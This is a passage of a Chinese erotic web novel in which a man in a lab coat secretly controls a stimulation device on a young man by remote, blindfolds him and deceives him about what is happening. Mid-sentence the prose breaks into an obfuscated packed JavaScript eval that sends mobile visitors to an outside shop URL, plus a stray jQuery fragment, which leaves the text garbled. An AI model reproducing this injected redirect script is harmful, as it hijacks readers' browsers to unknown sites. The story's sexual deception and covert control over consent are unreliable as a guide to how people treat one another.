实验室里很亮堂,亮如白昼的冷色灯光照得人心跳加快。
听到计鎏洲说开始,舒应揪着衣摆的手掌不安地攥了攥。
他没敢看计鎏洲,抿了抿唇瓣,颇为不好意思地请求:“计先生,可以把灯光调暗一些吗?”
计鎏洲的视线顺着青年柔软的发旋往下,落在青年被灯光照得白中透粉的膝盖上,指腹互相捻了捻,说:“可以。”
红底皮鞋缓步走远。
没一会儿,照在头顶的射灯尽数关闭,只有一盏打在实验桌上的小灯还亮着。
没了无处不在的白光,舒应重新找回安全感,呼吸变得松快,也敢抬头去敲计鎏洲了。
今天的计鎏洲不再是商务风穿搭,而是在白衬衫外面套了一件白大褂,配着他的无边框眼镜,看着真的很像舒应想象中的高质感大学教授模样。
计鎏洲站在灯光开关旁,嗓音淡淡:“这个亮度能接受吗?”
舒应不自觉挺了挺脊背,像个被点名抽问的学生,坐得笔直:“能接受。”
“行,”计鎏洲应了一声,没往回走,而是顺势靠着墙壁,隐进暗处,“你弄吧,需要帮助就叫我。”
“好。”
舒应眼睫轻轻颤动,一手拿起台面上的仪器,另一手拨开衬衫衣摆和裤腰。
“唔……”
刺激来得猝不及防,舒应控制不住轻哼出声。
他红着湿漉漉的桃花眼对计鎏洲说:“仪器今天的节奏和昨天不一样……”
更快,更凶。
过山车一样,吓他一跳。
计鎏洲指尖有一搭没一搭盘玩着白大褂口袋里的遥控器,神色不变,只说:“正常的。仪器的节奏设置是随机的。”
“好……好吧……”
只是简单回答两个字,舒应都说得很艰难。
稍微不注意,就会有奇怪的声音从他喉间溢出来。
不想让自己过于失态,舒应受不了的时候就会突然攥紧衣摆来克制出声的冲动。
敏锐观察到这点,舒应用力,计鎏洲就把仪器的模式往舒缓了调节。
等舒应放松下来,他又把模式调节到迅猛模式。
几回下来,舒应人被折腾得够呛,仪器收集管里却仍旧空无一物。
这太完蛋了。
虽然很不好意思,但舒应还是看向了计鎏洲寻求帮助。
“计先生,我今天好像还是不行。”
计鎏洲敛了敛眼底的恶劣,眉头轻蹙:“还是不行?能具体说一下感受吗?”
舒应面颊绯红,低声说:“感觉像在坐过山车……唔……”
力道骤然收紧,舒应被挤得猝不及防。
剩下的话堵在喉头,说得艰难,他一张嘴,奇怪的声音就争着往外冒。
“快到山顶的时候……嗯……就会突然唔……降下去……”
一段解释的话,舒应分了好几段才说完。
神奇的是,他话音落下,仪器的节奏又变得和缓。
身上都是刚才被折腾出的细汗,舒应有些气恼。
他觉得这个仪器在故意和他作对,欺负他。
真是马善被人骑,舒应善被仪器搞。
“可能是你的阈值提高了,刺激不够。”计鎏洲客观分析。
“那怎么办啊?”舒应慌慌的。
要是一直这样,他今天岂不是又要拖延很久。
计鎏洲居高临下望着青年因着急而颤动的眼睫和被刺激出薄粉的眼尾,淡声说:“加点刺激。”
说这话时,计鎏洲神情平静,舒应却莫名觉得他云淡风轻地像个变态杀人犯,没忍住咽了下口水。
“怎,怎么加?”
说话都结巴了。
计鎏洲唇角微不可查动了动,说:“我上手帮你,介意吗?”
这话一出,舒应下意识去看计鎏洲的手。
计鎏洲今天不仅穿了白大褂,还戴了手套。
手套是专用的橡胶手套,尺寸正好,戴在计鎏洲的手上,显得他的手指纤长而骨感,隐约可见手背上凸起的筋脉。
计鎏洲表现得
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17874859|212358||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
这么专业,舒应自然不好拒绝,只得说:“不介意。”
“好。”
得到舒应的应允,计鎏洲开始行动。
他从黑暗里走出来,停到舒应身侧。
实在太好奇计鎏洲说的加点刺激。
紧张羞涩的同时,舒应又忍不住留心着计鎏洲的一举一动。
计先生扯了扯手套。
计先生摘下了领带。
计先生……
“嗯?”舒应正瞄着计鎏洲下一步的行动,眼前忽然一黑。
保留着男人体温的领带遮住了他的视线。
“计先生?”什么都看不见,舒应有些慌。
“我在,不用怕,”计鎏洲挡住舒应下意识想要扯领带的手,“放心把一切交给我。”
计鎏洲的声音沉稳冷静,很有欺骗性。
舒应听着,不自觉放松了警惕,然后他就听见计鎏洲在他耳边说:“等会儿我会帮你拿着仪器,你松手就好。”
“好。”舒应很乖地答应了。
半分钟后。
舒应后悔了,后悔把仪器交到计鎏洲手上。
现在他不仅要面对仪器给他带来的刺激,还要面对因为计鎏洲来回调整仪器角度而带来的刺激。
两种刺激叠加在一起,产生的效果明显呈指数增长。
好奇怪,好难受。
好想设。
小腹处的肌肉绷得很紧,明显即将到达爆发的临界点。
所有的感官汇集到一处,舒应感觉自己的灵魂都快要飞上天了。
就在这时,刺激却忽然减弱。
那种熟悉的,不上不下的感觉,又来了。
不同的是,这一次减弱带来的难耐感比前几次加起来都要浓烈。
好难受,舒应感觉骨头缝里都在痒。
被痒意驱使着,舒应忍不住出声请求:“计先生,不要停下来。”
闻言,计鎏洲眉头轻挑,唇角微不可查勾了勾:“不要停吗?好的。”
这可是你自己说的。